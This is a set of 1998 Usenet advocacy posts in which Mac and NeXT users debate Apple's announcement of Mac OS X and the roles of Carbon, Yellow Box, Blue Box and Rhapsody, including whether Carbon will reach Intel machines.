> So MacOS will stay in it's 'protected Niche state' by not being cross-platform.
>
> The statement of Apple's "YellowBox is the Future of MacOS" may have truth, but
> at the cost of cross-platform.
>
> SHEPPARD GORDON wrote:
>
> > Why is Apple not considering implementing Carbon on top of Rhapsody/Intel?
> >
> > To do so makes the possibility that Carbon-clean apps could be ported to
> > Rhapsody/Intel, yes?
> >
> > To not do this seems to doom Rhapsody/Intel's continued viability and support
> > (given Apple's statements that Rhapsody is a stepping stone to MacOS X), no?
> >
> > Could someone clear this up? Or is it possible that a clear answer is not yet
> > forthcoming?
> >
> > -> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
Message-ID: <35592C5D.6C60A571@unet.univie.ac.at>
Date: Wed, 13 May 1998 07:15:10 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
owners?)
References: <3558D5DA.D65392B1@milestonerdl.com> <B17EA13E-22584@208.254.113.242>
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Cross platform is already there as regards OpenStep.
I wouldnt count on a MacOS API ported to anywhere outside the Macintosh world.
And frankly I don't see a need for it.
Christian Benesch
scott hand wrote:
> On Tue, May 12, 1998 7:06 PM, M Rassbach <mailto:mark@milestonerdl.com>
> wrote:
> >> If Rhapsody 1.0 is simply to say hey we gave you
> >> what we promised and now we will be moving on to other things (i.e.
> >> no development/support for YB on 95/NT, and faultering support for
> >> Intel in general - not precluding dropping of crossplatform support
> >> in MacOS X - (PPC ONLY??? big mistake if so)) then we will have
> >> some very serious problems..
> >
> >Well, one can hope if the whining MacOS only crowd has been heard from,
> >perhaps the !G3-MacOS X and YellowBox on many platforms will be heard
> from.
> >
>
> But if Carbon is simply a way of putting existing MacOS API's on Mach, and
> Mach/Intel already exists, then cross-platform is already there, no? I'm
> wondering if the requirement of all PPC code is simply to allow the "stick
> it on Mach" technology to have something clean and predictable to work
> with. There would seem to be a contradiction here, but I'm sure the answer
> will turn up soon...I hope.
>
> scott
>
> ----------------------------------------------------------------
> Cyberdog -- yet another cancelled technology from Apple Computer
> ----------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 00:54:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17E9FBD-6212E@206.165.43.165>
References: <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Mike Paquette <mpaque@wco.com> said:
>Matt Casselman <mcasse@rs6000.cmp.ilstu.edu> wrote:
>
>> MacOS will have TWO, count them two, APIs: Carbon (MacOS) and Yellow
>Box
>> (NeXT). MacOS X is macOS on Mach.
>
>And now you know how we get the Yellow Box on MacOS. :-)
So Yellow Box apps are only for those that want a Really High End system
that runs a bunch of different APIs:
Yellow Box, Carbon & Blue Box.
And Apple was saying how GX isn't used in by enough developers and users to
jusitify its use in Carbon? How does Apple justify using DPS in Yellow Box,
then?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Wed, 13 May 1998 06:36:19 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35593F63.962568D5@nstar.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com> <35568A1C.467C3E71@nstar.net> <wAB51.973$0A3.4513475@news.itd.umich.edu> <35588B37.3790@CONVEX.COM> <k9661.1247$0A3.5858459@news.itd.umich.edu>
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not@my.address.net wrote:
> One has nothing to do with the other.
The point of Forte's quote was to assert the contrary.
> Virtues are robust dispositions towards
> positive forms of behaviour. Example: An honest person has a standing
> disposition to tell the truth, and the disposition is relatively stable across
> differences in circumstance.
Again, I stand by Forte's assertion.
> Whether or not you're oppressed has little to do with whether or not you're
> honest (or kind, or humble, or ...)
You'll excuse me if I don't take your word on't.
> >I hope I've helped to clear up your misunderstanding on this.
>
> By running for cover under meaningless phrases like "in contradiction with each
> other in the human soul"?
>
> Hardly.
As long as those phrases provide such ample cover, I'll continue to
abide by them.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 23:36:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17E8D82-1D8A6@206.165.43.165>
References: <see-below-1205981905160001@209.24.240.213>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Matthew Vaughan <see-below@not-my-address.com> said:
>
>But how do you explain the tepid support for Yellow Box among Mac
>developers, and their enthusiastic endorsement of Carbon?
Who says that? Go subscribe to AIMED-talk, where at least a few
"professional" Mac developers hang out. They're as confused as anyone else
about this whole mess, but they aren't "enthusiasticly" endorsing Carbon,
save as a way of getting a few of the big players to continue working on
MacOS.
Just about every independent Mac developer that I know would like to use
something like the Yellow Box framework instead of the raw ToolBox APIs
that we need to use now.
We're all just confused about what this whole thing means.
Mac the Knife hints that this whole project is just a few weeks/months old
and that it is a result of the fact that NONE of the major Mac software
houses had endorsed Rhaposdy.
As to why this would be so, look at who HAS endorsed Carbon:
Microsoft: doesn't want a superior OS to suceed and certainly doesn't want
a superior graphics engine (GX or DPS) to suceed and doesn't need/want a
cross-platform solution that is easy to use because it would make the
little guy too competitive.
Adobe: doesn't need/want a superior graphics engine and doesn't need/want
an easy-to-use cross-platform solution for the same reasons as MS.
Macromedia: same as Adobe.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lots of misinformation
Date: Wed, 13 May 1998 06:42:05 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <355940BD.E650E496@nstar.net>
References: <01bd7de2$cfc7f170$04387880@test1> <3558CD7D.5327CAB0@unet.univie.ac.at> <35593144.34FC9080@nstar.net> <355937CD.DAD83C55@unet.univie.ac.at>
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Christian Benesch wrote:
[cut]
> As I said: I have no problem with rolling out an additional red carpet for MacOS
> developers.
Oh, right! Which is why you said "Stuff MacOS!" in another thread
tonight?
:-)
MJP
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 02:55:53 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <mcasse-2708561359510001@line8047.ras.ilstu.edu> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com>
In article <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com>, mpaque@wco.com (Mike Paquette) wrote:
> Matt Casselman <mcasse@rs6000.cmp.ilstu.edu> wrote:
> > MacOS will have TWO, count them two, APIs: Carbon (MacOS) and Yellow Box
> > (NeXT). MacOS X is macOS on Mach.
> And now you know how we get the Yellow Box on MacOS. :-)
Yeah, but will there be Yellow Box on pre-OS X MacOS for those who don't
or can't upgrade to OS X?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Date: 13 May 1998 02:58:40 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jbgb0$3g3$1@crib.bevc.blacksburg.va.us>
References: <6j04ej$nvc$1@newsfep4.sprintmail.com> <6jaio4$lon$1@interport.net> <6jap7p$2hb$1@crib.bevc.blacksburg.va.us> <35592E26.6D14BA54@unet.univie.ac.at>
In article <35592E26.6D14BA54@unet.univie.ac.at>, Christian Benesch <a9226931@unet.univie.ac.at> wrote:
> Due to the OpenStep standard there should also be a backward combatibility
> of source code from Rhapsody to OS4.x.,I should think.
Things were added to the Yellow API that aren't in OpenStep (or even
the 4.x enhanced OpenStep), and a few things were changed. So you'd
have to be very careful of what you use.
From: "Raymond S." <poundmacvits@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 01:57:23 +0000
Organization: The University of Manitoba
Message-ID: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca>
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I know almost everyone here has started to basically agree what MacOS X is
and what will happen to the Yellow Box and Rhapsody, but there seem to be a
few that are not quite up to speed on the discussion. For instance someone
just posted that OSX is simply Rhapsody renamed and Carbon is just the Blue
Box renamed...WRONG! So I just thought I would summarize what seem to be
the most likely answers to the most common questions.
1. MacOS X will essentially be Rhapsody, including the Mach MK, Yellow Box,
and Blue Box and Carbon; however, the blue is so far only speculation based
on un-Carbonized applications still being able to running with out taking
advantage of the modern OS buzzwords (PMT, PM, etc) (is buzzword de facto
buzzword now?). Will not be available on Intel.
2. Carbon will not simply be the Blue Box but will be 75% of the current
MacOS APIs available as native full members of the OS; Carbonized
applications running in MacOS X will have access to all the buzzwards.
Carbon will also be available as add on compatibility libraries for pre-X
versions of MacOS, these applications will not have access to the buzzwards
in these non MacOS X systems. Carbon will not be available on Intel.
3. Blue Box will be the same as it is today, except invisible, a
emulator/run-time-environment (not the time or place for that argument) for
pre-Carbon ( <MacOS8) applications. Apple will probably make the Blue Box
as unobvious as possible, meaning that you would only be able to tell you
are running non-Carbon MacOS applications if one of the crashes and takes a
number of other applications (other Blue Box applications) down with it.
Will not be available on Intel.
4. The Yellow Box will be available to MacOS X and pre-X MacOS's for sure
and maybe for Intel (as Rhapsody) and even more possibly for Windows 95/NT.
In fact the Rhapsody plans for everything except the PPC should remain
exactly as they were previously announced, except maybe no Yellow Box for
pre-X MacOSs. Although no one is absolutely sure of these possibilities it
makes absolute sense for Apple to maintain it's plans for the cross platform
capability of the Yellow Box. The key benefit would be that developers
writing new software would be able to write and deploy on many systems. The
key benefit for Apple would be more developers. Carbon should be promoted
by Apple only for developers who have huge investments in the MacOS APIs,
such as Adobe or Macromedia, all new developers or developers creating new
software should be encouraged to use the Yellow Box development environment.
5. MacOS X will definitely run on G3 Macintoshes, but not those that are
upgraded from non-G3 systems. Definitely not 601s or Nubus machines,
possibly the 603 and 604 PCIs but, from the wording of the announcements and
press releases, probably not. This sucks but with Rhapsody 1.0 about to
ship, and it's ability to run on 603 and 604 PCI Macs, Apple's past promise
of the new OS (Rhapsody not MacOS X) running on all Macs shipping in January
1997 is fulfilled. The fact that this new OS (Rhapsody not MacOS X) will
never have the chance to become viable (it'll ship about 6 months before the
MacOS X goes beta) of course doesn't matter. Again, this sucks, I bought a
601 Mac as soon as they were available, only to be told a couple of years
later that I should have waited because Rhapsody would only run on 603/604
and future Macs. Then I bought a 604e soon after Rhapsody was announced and
we were informed that it would run on all currently shipping Macs, I figured
"I can't lose", ...wrong again, MacOS X won't run on it...THIS NEVER HAPPENS
ON THE WINTEL SIDE DAMMIT!!!. I mean let's face it, MacOS X is basically
Rhapsody with the 6000 clean Mac APIs. And since Rhapsody already runs on
603/604 based Macs it can't be that far fetched or difficult to include
these machines for MacOS X, which makes it look like Apple's attempt to get
everyone to upgrade their boxes...again. Yes Apple has said that the
standard MacOS (8) will still be viable and will be upgraded but that
doesn't cut it. The millions of 603/604 machines that were told they would
run Apple next generation OS are still left out to dry. Please Apple, make
the 603/604 PCI Macs full members of the MacOS X family.
6. MacOS X will likely have most of it's UNIX services striped out. They
will then either sell a version of MacOS X that has them added back in, as a
server OS, or simply continue to ship Rhapsody including all the UNIX
services but minus Carbon and possibly the entire Blue Box as a server OS.
7. The MacOS X applications that Avie demo'ed on Monday were running under
Rhapsody using the new Carbon APIs...not in the Blue Box as some have
maintained. The applications were little buggy but they were also the
result of a very small number of man hours spent converting them from the
MacOS APIs to the Carbon APIs. This shows how relatively easy the rest of
the conversions could be (not will be...could be) and it also shows how the
Carbon API's took full advantage of Rhapsody's advanced OS features. Again
Rhapsody = Yellow Box + Blue Box + Java + MacOS look and feel, and MacOS X =
Rhapsody + Carbon.
8. Carbon is being introduced because almost none of the major Mac
developers had signed up for porting their applications to yellow box. This
makes sense, they had millions of dollars invested in millions of lines of
code that could not be easily ported to the Yellow Box. Time estimates were
at least 2 years to do a full port of a complex application whereas
Carbonating a large application is estimated to take only a few month.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 00:15:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17E9673-3F250@206.165.43.165>
References: <see-below-1205981702280001@209.24.240.213>
nntp://news.primenet.com/comp.sys.next.advocacy
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Matthew Vaughan <see-below@not-my-address.com> said:
>
>So long as Yellow Box is still available, yes. And nobody is talking about
>abandoning YB. (Carbon just replaces Blue Box)
Suppliments Blue Box. Blue Box is for non-Carbon MacOS apps, both 68K and
PPC, if I understood Mike Paquette's comments earlier.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon built on top of YellowBox?
Date: 13 May 1998 08:58:56 GMT
Organization: Idiom Communications
Message-ID: <6jbncg$eua$8@news.idiom.com>
References: <35594B50.B0DF00FC@iphysiol.unil.ch>
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Sean Hill may or may not have said:
-> Is it possible?:
->
-> Carbon API will actually be able to use parts of the YellowBox to play
-> the role of the old MacOS API. For example, if they've already
-> implemented Navigation Services as a set of objects on Yellow (since
-> they have focussed on making Rhapsody's YellowBox very Mac-like) they
-> could just write a wrapper function (that implements the MacOS
-> Navigation Services API) which actually instantiates an object and thus
-> gains any future enhancements done in Yellow.
Bingo!
-> Further they could build new API's which actually use objects from the
-> YellowBoxsuch as the Font object, Display Postscript, etc to provide
-> fancy new services (speaking of which, they can use Services...?) for
-> the people who love their MacOS programming environment. When they're
-> ready they can use the same services but in their native object-oriented
-> form.
->
-> Anyone know if this is part of their plans?
I'm sure they're quite aware of how easy it is to implement certain Mac
Toolbox calls when you have the Foundation Kit and the AppKit to build them
on.
-jcr
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 21:01:01 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1105982101010001@news-proxy.cso.uiuc.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <MPG.fc15adad12883c99896a7@news.supernews.com> <slrn6lf9fe.1lm.jason@jhste1.dyn.ml.org>
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In article <slrn6lf9fe.1lm.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Donald Brown wrote:
>
> >Yes, they buy some, but those who are happy as a clam
> >running System 6 on an LC III are happy as a clam with the software they
> >have.
>
> Hey - let's nitpick! System 6 on an LCIII?
Hum... yeah. Didn't the LC IIIs come with System 7? I don't think they were
even capable of running System 6. :)
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
Message-ID: <35594B50.B0DF00FC@iphysiol.unil.ch>
Date: Wed, 13 May 1998 09:27:12 +0200
From: Sean Hill <noone@iphysiol.unil.ch>
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Subject: Carbon built on top of YellowBox?
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Is it possible?:
Carbon API will actually be able to use parts of the YellowBox to play
the role of the old MacOS API. For example, if they've already
implemented Navigation Services as a set of objects on Yellow (since
they have focussed on making Rhapsody's YellowBox very Mac-like) they
could just write a wrapper function (that implements the MacOS
Navigation Services API) which actually instantiates an object and thus
gains any future enhancements done in Yellow.
Further they could build new API's which actually use objects from the
YellowBoxsuch as the Font object, Display Postscript, etc to provide
fancy new services (speaking of which, they can use Services...?) for
the people who love their MacOS programming environment. When they're
ready they can use the same services but in their native object-oriented
form.
Anyone know if this is part of their plans?
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Software licenses
Date: 13 May 1998 09:31:05 +0200
Organization: The Computer Society at Lund
Message-ID: <6jbi7p$3ke$1@bartlet.df.lth.se>
References: <6j7n0h$6fq@newsb.netnews.att.com> <3557A482.EF67C60A@nstar.net> <6ja22t$cjn@newsb.netnews.att.com> <355890E3.17D8@CONVEX.COM>
NNTP-Posting-User: cb
In article <355890E3.17D8@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
>gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
>> >I haven't the first clue what the posted material has to with freedom at
>> >all, except perhaps the possibility that in the future, software
>> >developers will have the freedom to create licenses to protect their
>> >hard work as they wish.
>>
>> This post is copyrighted work of the undersigned, and
>> a shareware license can be purchased from the undersigned
>> for the sum of US $1.00.
>>
>> The reader is forbidden from writing detailed criticism
>> of this post or quoting it in any written, published or
>> electronic forum without permission of the copyright holder.
>
>I have nothing to say about your post, but I will say that I don't like
>your license and I don't approve of your attitude, and therefore I am
>not willing to purchase anything from you.
I beleive Arun Gupta's post was simply intended to give an example of what
the new proposed legislation might lead to if adopted - by allowing
licenses on software similar to the license he included in in post.
Ie, I think it was a 'joke' and not intended as a serious license for
redistributing his posts.
The comment of 'just protecting my hard work' is basically a summary of
what the proponents of the legislation are using as their argument.
So, I think you are overreacting :)
Then again, I can't read Arun Gupta's mind. OTOH, since I am not in the
US, the legislation in question does not apply and the license is invalid
- or at least those parts of it that are new according to the proposed
legislation ....
>
>[Killfile entry added]
You might wish to re-un-killfile Arun Gupta :)
>
>MJP
Btw: great post about MacOS X implying the adoption of X (the Window
System) :)
Best regards
// Christian Brunschen
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Wed, 13 May 1998 07:51:15 GMT
Organization: MiCMAC
Sender: news@micmac.com
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This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
(<zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>) by Rex Riley:
> You obviously haven't been around the Steve long enough to appreciate the
> comment. Let me phrase this as concise as possible. Developers just went
> from a compile once - deploy elsewhere to a compile once - deploy once.
>
Where have you seen that MacOSX won't be deployed _somewhere_ else?
The fact that it is not written or said doesn't mean it won't happen...
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Wed, 13 May 1998 08:07:37 GMT
Organization: MiCMAC
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<slrn6lgnva.l2e.sal@panix3.panix.com>
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This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<slrn6lgnva.l2e.sal@panix3.panix.com>) by Salvatore Denaro:
> On Tue, 12 May 1998 07:06:15 GMT, Michel Coste <nospam@micmac.com> wrote:
> >It seems clear to me that carbon apps will ship for Intel...
>
> Huh? What make you think that?
>
> From what I read, Carbon is PPC only.
Not from I read but from I *think*!
Seem quite logical to me...
(I'm used to read between the lines...)
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Wed, 13 May 1998 08:21:26 GMT
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This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<mcasse-2708561354130001@line8047.ras.ilstu.edu>) by Matt Casselman:
> In article <Esu12F.2yG@micmac.com>, nospam@micmac.com wrote:
>
> > It seems clear to me that carbon apps will ship for Intel...
> >
>
> Carbon IS NOT on Intel. Apple has said that. Carbon is just the MacOS
> not Yellow Box. Carbon is MacOS. Yellow Box is Yellow Box. RHapsody is
> rhapsody. Really simple.
>
>
Well...
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: Wed, 13 May 1998 07:38:55 GMT
Organization: MiCMAC
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This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<6ja5o4$k4$1@news.idiom.com>) by John C. Randolph:
> Rhapsody didn't get discarded, it got renamed. It also got the Mac
Toolbox
> APIs added in as yet another framework. In effect, Apple decided that the
> Latitude library was such a good idea, that they were going to make it a
> supported part of Rhapsody.
And since Rhapsody was never the official name of the future system we can
say that nothing has changed...
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 08:00:15 GMT
Organization: MiCMAC
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References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
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This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<see-below-1205981743380001@209.24.240.213>) by Matthew Vaughan:
> In article <Esu3v3.365@micmac.com>, nospam@micmac.com wrote:
>
> > This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
> > (<pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>) by
Pulsar:
> >
> > > It would make little sense for someone writting a new application or
> > > someone rewritting an application anyway to use Carbon since YB will
> > > provide a much larger market and will be much easier to maintain. The
YB
> > > will be developed further and extended. Carbon (as I see it) is
largely a
> > > dead end. It's just a temporary solution.
> > >
> >
> > Though we agree on the rest, as I see it, you're wrong on that:
> > Carbon will run on Intel (mo)... So this is also a way to access a much
> > larger market.
>
>
> Oh? Where did Apple suggest Carbon would run on Intel?
I just said it's my opinion (mo)... [sorry if you don't know well known
acronyms!]
It even makes a lot of sense "in my humble opinion" =;)
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 08:04:40 GMT
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This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<see-below-1205981743380001@209.24.240.213>) by Matthew Vaughan:
> Oh? Where did Apple suggest Carbon would run on Intel?
And I suggest that you read these comments by Mike Paquette:
<<Who says they[Carbon APIs]'re not portable??? :-)
Erf, erf, erf...>>
ERF, ERF, ERF!!!
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Wed, 13 May 1998 08:26:55 GMT
Organization: MiCMAC
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This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
(<zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>) by Rex Riley:
> In <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> Andy Templeman wrote:
> > Everybody is shouting about how Rhapsody has been 'Steved'.
> >
> > From reading all that Apple has published - and this is only the start
> > of WWDC week - it strikes me that rhapsody has just been given a bit
> > more functionality.
> >
> >
>
> pssst... did you drink from the fountain? the punch in the hallway at
WWDC?
> Nevermind...
Well looks to me it was the fountain of truth... (no koolaid at all! =;)
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Wed, 13 May 1998 08:21:46 GMT
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This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<B17DC7C5-1FDA6@153.37.20.253>) by "Brad Hutchings":
>
> Also, note that current Carbon-compatible apps would not require a
> recompile to run under Carbon. Unless you've got an emulator for Intel...
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<andyba-ya02408000R1205981021010001@news>) by Andy Bates:
> In article <Esu12F.2yG@micmac.com>, nospam@micmac.com wrote:
>
> > It seems clear to me that carbon apps will ship for Intel...
>
> No, they won't. Apple has said that Carbon will be MacOS-only.
‘‘‘‘
Where????????????
> Come on, do
> you really think they could knock out a few APIs and make every Mac app
> suddenly Intel-compatible? No way.
Well... Mike Paquette just said this here:
<<Who says they're [carbon APIs] not portable??? :-)
Erf, erf, erf...>>
=;)
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Wed, 13 May 1998 08:14:46 GMT
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This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<01bd7de2$cca75080$04387880@test1>) by "Todd Heberlein":
> Salvatore Denaro <sal@panix3.panix.com> wrote
> > On Tue, 12 May 1998 07:06:15 GMT, Michel Coste <nospam@micmac.com>
> wrote:
> > >It seems clear to me that carbon apps will ship for Intel...
> >
> > Huh? What make you think that?
> >
> > From what I read, Carbon is PPC only.
>
> o From Phil Schiller, Apple's VP of Worldwide Product Marketing: MacOS
> X us designed for the PowerPC G3 as well as *forthcoming RISC
> processors*. [1] (note, "stars" are mine).
>
> o According to Wired, Apple says " Mac OS X focuses only on the PowerPC
> G3 architecture" [2].
>
> o Apple's MacOS X web page states that it "will be fully optimized for
> Apple's PowerPC G3 based computers", but it does not say anything
> (negative or positive) about other processors [3].
>
> o From MacWeek, "OS X will run only on PowerPC G3 machines" [4].
>
Well you have the analysis of Wired & MacWeek...........
My analysis is that it makes perfect sense to put Carbon on Intel...
It's quite possible and desirable and I stress it's in the plan of Steve
Jobs.
I'm following Steve's strategy since the early eighties and I'm 'beginning'
to see where he's headed... =;)
mc
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: DPS ( Was: Carbon features: NO Quickdraw !!)
Date: 13 May 1998 09:28:17 GMT
Organization: Idiom Communications
Message-ID: <6jbp3h$eua$10@news.idiom.com>
References: <6j9631$61c$1@news.tudelft.nl> <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com>
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Cc: mpaque@wco.com
Mike Paquette may or may not have said:
-> Abraham Guyt <guyt@is.twi.tudelft.nl> wrote:
-> > Below a repost of a mac.advocacy newspost. One very important aspect is
-> > that Quickdraw is NOT supported by Carbon.
->
-> This turns out not to be the case. QuickDraw is an integral element of
-> the Carbon APIs, and will see substantial enhancements for MacOS X.
Mike, the next time it comes up at a meeting, please pass this along:
I WANT MY POSTSCRIPT!
I'm not going to turn in a Lawson over it, but since pft is already there why
break it? For that matter, WindowPackage.ps and PrintPackage.ps work, and
you haven't needed to modify them since what, 2.1 or so?
Drawing classes like NSBezierPath are cool and all, but I still want to use
the "assembly language of 2d graphics" at times.
-jcr
From: JOHN LEE <john.s.lee@Eng.Sun.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 12 May 1998 09:20:28 -0700
Organization: Sun Microsystems
Message-ID: <355876CC.F3A3A297@Eng.Sun.COM>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <joe.ragosta-0505980801340001@wil129.dol.net>
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Joe Ragosta wrote:
>
> In article <B173DA2F-4EC79@207.217.155.139>, "Brad Hutchings"
> <brad@hutchings-software.com> wrote:
>
> > Scott Anguish wrote:
> >
> > > Oh, BTW.. we have SuperClock too... well, MenuClock... and as
> > >far as ControlStrip goes... should you really have to access that that
> > >often? Nope..
> >
> > Get used to the control strip. Because if Rhapsody ever goes mainstream, it
> > will have a control strip, along with all the other HI bells and whistles
> > Mac users expect. And they'll be just like the Mac HI that so many NeXT
> > refugees seem to despise. Otherwise Mac users won't bother with it.
> > ROTFLMAO.
>
> Of course, it never occurred to you that Apple could avoid this problem by:
>
> 1. Offering multiple UIs (ever hear of "Themes"?).
>
> or
>
> 2. Choosing the best of each OS.
>
> But thinking before posting might reduce the number of anti-Apple flames
> you throw around, so you'd never do that.
>
> --
> Regards,
> Joe Ragosta
> http://www.dol.net/~Ragosta/complmac.htm
Rhapsody will NEVER go mainstream, it is cancelled. Just like I said
months ago it would be!
I love being right...love it, love it, love it.
--
Thanks,
John
x53253
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 13 May 1998 10:20:10 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6jbs4q$e7d$4@sun27.hrz.tu-darmstadt.de>
References: <6jboq5$eua$9@news.idiom.com>
jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
>Well, Adobe didn't play ball. That's pretty irritating, to say the least.
>
>Suggested workaround: A bundle of the NeXT apps, like Mail.app and
TextEdit,
>and all the stuff from /Nextdeveloper/demos, for $25.
>
>You buy the frameworks as part of something else that's worth having on your
>windoze box to ease the pain of the MicroSquish UI.
Hear, hear!
